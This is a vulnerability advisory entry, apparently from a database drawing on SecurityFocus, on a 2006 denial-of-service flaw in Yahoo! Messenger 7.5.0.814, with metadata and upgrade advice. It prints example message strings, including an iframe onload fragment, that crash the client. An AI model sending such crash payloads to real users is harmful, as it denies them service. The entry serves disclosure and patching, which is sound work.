vendor:
Yahoo! Messenger
by:
SecurityFocus
7.8
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Yahoo! Messenger
Affected Version From: 7.5.0.814
Affected Version To: 7.5.0.814
Patch Exists: Yes
Related CWE: N/A
CPE: a:yahoo:yahoo_messenger
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006
Yahoo! Messenger Denial of Service Vulnerability
Yahoo! Messenger is prone to a denial-of-service vulnerability. Successful exploitation will cause the application to crash, effectively denying service. The following examples are sufficient to trigger this issue: s:[space]msg[alt+0160]:---------------------------------------------iframe onload=$InlineAction()>:) msg:---------------------------------------------iframe onload=$InlineAction()>:)
Mitigation:
Upgrade to the latest version of Yahoo! Messenger